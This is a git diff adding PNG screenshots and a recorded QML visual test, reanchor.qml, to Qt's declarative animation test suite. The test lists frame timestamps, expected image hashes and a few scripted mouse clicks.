diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.2.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.2.png
new file mode 100644
index 00000000..9fb2be5e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.3.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.3.png
new file mode 100644
index 00000000..d229e872
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.4.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.4.png
new file mode 100644
index 00000000..f08e0489
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.5.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.5.png
new file mode 100644
index 00000000..7d1d2cda
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.6.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.6.png
new file mode 100644
index 00000000..b537ace2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.7.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.7.png
new file mode 100644
index 00000000..f08e0489
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.8.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.8.png
new file mode 100644
index 00000000..d229e872
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.9.png b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.9.png
new file mode 100644
index 00000000..432f8144
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.qml b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.qml
new file mode 100644
index 00000000..5146be21
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/reanchor/data/reanchor.qml
@@ -0,0 +1,2471 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "reanchor.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 48
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 64
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 80
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 96
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 112
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 128
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 144
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 160
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 176
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 192
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 208
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 224
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 240
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 256
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 272
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 288
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 304
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 320
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 336
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 352
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 368
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 384
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 400
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 416
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 432
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 448
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 464
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 480
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 496
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 512
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 528
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 544
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 560
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 576
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 592
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 608
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 624
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 640
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 656
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 672
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 688
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 704
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 720
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 736
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 752
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 768
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 784
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 800
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 816
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 832
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 848
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 864
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 880
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 896
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 912
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 928
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 944
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 960
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 976
+ image: "reanchor.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1008
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1024
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1040
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1056
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1072
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1088
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1104
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1120
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1136
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1152
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1168
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1184
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1200
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1216
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1232
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1248
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1264
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1280
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1296
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1312
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1328
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1344
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1360
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 88; y: 115
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1376
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1392
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1408
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1424
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1440
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 88; y: 115
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1456
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 1472
+ hash: "eb3eeb37ab7b26692cbf100adfaf3772"
+ }
+ Frame {
+ msec: 1488
+ hash: "e1a8cdcb1f3ec097a968b3b20964c6e8"
+ }
+ Frame {
+ msec: 1504
+ hash: "44fc52479251327d0612de17ddb056eb"
+ }
+ Frame {
+ msec: 1520
+ hash: "fa7e4a910aa60500575a34852c0c7cb8"
+ }
+ Frame {
+ msec: 1536
+ hash: "66d205a02e35221e7684ab995acc1312"
+ }
+ Frame {
+ msec: 1552
+ hash: "4ebe8dba6d9f3179b610b2298a7484a2"
+ }
+ Frame {
+ msec: 1568
+ hash: "9b2582fccffa34fe389ba427ce47619a"
+ }
+ Frame {
+ msec: 1584
+ hash: "e6f15478bda9995f82976b9e16659c8e"
+ }
+ Frame {
+ msec: 1600
+ hash: "f08df0885fff04819ada6c10b25dd489"
+ }
+ Frame {
+ msec: 1616
+ hash: "0f57c152306747cfa27171f1947ca65d"
+ }
+ Frame {
+ msec: 1632
+ hash: "89d9c988abd55063e210b81193c6a8f0"
+ }
+ Frame {
+ msec: 1648
+ hash: "91e0d0a5d57210c790c2d2399d1f7022"
+ }
+ Frame {
+ msec: 1664
+ hash: "267874fdc09459b3e854c06d9ae99a54"
+ }
+ Frame {
+ msec: 1680
+ hash: "2f58a508f439c40c6f2bd7da1f30deff"
+ }
+ Frame {
+ msec: 1696
+ hash: "1451548d9f0002a6c4765cb616ab7f59"
+ }
+ Frame {
+ msec: 1712
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1728
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1744
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1760
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1776
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1792
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1808
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1824
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1840
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1856
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1872
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1888
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1904
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1920
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1936
+ image: "reanchor.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1968
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 1984
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2000
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2016
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2032
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2048
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2064
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2080
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2096
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 87; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2112
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2128
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2144
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2160
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2176
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2192
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2208
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 87; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2224
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 2240
+ hash: "8ceca291e28f52368346f171c2f31664"
+ }
+ Frame {
+ msec: 2256
+ hash: "903877286f3ef112e6a661abde5c17bd"
+ }
+ Frame {
+ msec: 2272
+ hash: "cc2d15c96571f9328b929f96849c8f9e"
+ }
+ Frame {
+ msec: 2288
+ hash: "26e6c03b1b91b725d6e0fe9216a7413e"
+ }
+ Frame {
+ msec: 2304
+ hash: "213e8e9905bea32ddb97d38b75cd19cc"
+ }
+ Frame {
+ msec: 2320
+ hash: "17d5726a282d42fcde7796be84606fcd"
+ }
+ Frame {
+ msec: 2336
+ hash: "f4629bf9f5837f687ae49008c9d28d02"
+ }
+ Frame {
+ msec: 2352
+ hash: "fbc927cb136d8d29b2578e78c4793e41"
+ }
+ Frame {
+ msec: 2368
+ hash: "c7099e732490dd2f3205986a7c43a165"
+ }
+ Frame {
+ msec: 2384
+ hash: "b3b464a8e67fab05109b49604f1ce705"
+ }
+ Frame {
+ msec: 2400
+ hash: "7629b2a77f9f87aa0ef2535aa9b8d390"
+ }
+ Frame {
+ msec: 2416
+ hash: "6a329c289236782e095cfa6f15409726"
+ }
+ Frame {
+ msec: 2432
+ hash: "1cfbf6f4c292e1520b44d84dd59b93a8"
+ }
+ Frame {
+ msec: 2448
+ hash: "a8d3d838bffb39053eb705aefcb39c46"
+ }
+ Frame {
+ msec: 2464
+ hash: "a56ad66a949e07e3174a58c80145c85e"
+ }
+ Frame {
+ msec: 2480
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2496
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2512
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2528
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2544
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2560
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2576
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2592
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2608
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2624
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2640
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2656
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2672
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2688
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2704
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2720
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2736
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2752
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 87; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2768
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2784
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2800
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2816
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2832
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2848
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2864
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 87; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2880
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 2896
+ image: "reanchor.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "e1a8cdcb1f3ec097a968b3b20964c6e8"
+ }
+ Frame {
+ msec: 2928
+ hash: "44fc52479251327d0612de17ddb056eb"
+ }
+ Frame {
+ msec: 2944
+ hash: "fa7e4a910aa60500575a34852c0c7cb8"
+ }
+ Frame {
+ msec: 2960
+ hash: "66d205a02e35221e7684ab995acc1312"
+ }
+ Frame {
+ msec: 2976
+ hash: "4ebe8dba6d9f3179b610b2298a7484a2"
+ }
+ Frame {
+ msec: 2992
+ hash: "9b2582fccffa34fe389ba427ce47619a"
+ }
+ Frame {
+ msec: 3008
+ hash: "e6f15478bda9995f82976b9e16659c8e"
+ }
+ Frame {
+ msec: 3024
+ hash: "f08df0885fff04819ada6c10b25dd489"
+ }
+ Frame {
+ msec: 3040
+ hash: "0f57c152306747cfa27171f1947ca65d"
+ }
+ Frame {
+ msec: 3056
+ hash: "89d9c988abd55063e210b81193c6a8f0"
+ }
+ Frame {
+ msec: 3072
+ hash: "91e0d0a5d57210c790c2d2399d1f7022"
+ }
+ Frame {
+ msec: 3088
+ hash: "267874fdc09459b3e854c06d9ae99a54"
+ }
+ Frame {
+ msec: 3104
+ hash: "2f58a508f439c40c6f2bd7da1f30deff"
+ }
+ Frame {
+ msec: 3120
+ hash: "1451548d9f0002a6c4765cb616ab7f59"
+ }
+ Frame {
+ msec: 3136
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3152
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3168
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3184
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3200
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3216
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3232
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3248
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3264
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3280
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3296
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3312
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3328
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3344
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3360
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 87; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3376
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3392
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3408
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3424
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3440
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3456
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3472
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 87; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3488
+ hash: "ad3837dcf3e69274ac2918d796974f29"
+ }
+ Frame {
+ msec: 3504
+ hash: "8ceca291e28f52368346f171c2f31664"
+ }
+ Frame {
+ msec: 3520
+ hash: "903877286f3ef112e6a661abde5c17bd"
+ }
+ Frame {
+ msec: 3536
+ hash: "cc2d15c96571f9328b929f96849c8f9e"
+ }
+ Frame {
+ msec: 3552
+ hash: "26e6c03b1b91b725d6e0fe9216a7413e"
+ }
+ Frame {
+ msec: 3568
+ hash: "213e8e9905bea32ddb97d38b75cd19cc"
+ }
+ Frame {
+ msec: 3584
+ hash: "17d5726a282d42fcde7796be84606fcd"
+ }
+ Frame {
+ msec: 3600
+ hash: "f4629bf9f5837f687ae49008c9d28d02"
+ }
+ Frame {
+ msec: 3616
+ hash: "fbc927cb136d8d29b2578e78c4793e41"
+ }
+ Frame {
+ msec: 3632
+ hash: "c7099e732490dd2f3205986a7c43a165"
+ }
+ Frame {
+ msec: 3648
+ hash: "b3b464a8e67fab05109b49604f1ce705"
+ }
+ Frame {
+ msec: 3664
+ hash: "7629b2a77f9f87aa0ef2535aa9b8d390"
+ }
+ Frame {
+ msec: 3680
+ hash: "6a329c289236782e095cfa6f15409726"
+ }
+ Frame {
+ msec: 3696
+ hash: "1cfbf6f4c292e1520b44d84dd59b93a8"
+ }
+ Frame {
+ msec: 3712
+ hash: "a8d3d838bffb39053eb705aefcb39c46"
+ }
+ Frame {
+ msec: 3728
+ hash: "a56ad66a949e07e3174a58c80145c85e"
+ }
+ Frame {
+ msec: 3744
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3760
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3776
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3792
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3808
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3824
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3840
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3856
+ image: "reanchor.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3888
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3904
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3920
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3936
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3952
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3968
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 3984
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4000
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4016
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4032
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4048
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4064
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4080
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4096
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4112
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4128
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4144
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4160
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4176
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4192
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4208
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4224
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4240
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4256
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4272
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4288
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4304
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4320
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4336
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4352
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4368
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4384
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4400
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4416
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4432
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4448
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4464
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4480
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4496
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4512
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
+ Frame {
+ msec: 4528
+ hash: "213811853dbefdc418099721e3bf8651"
+ }
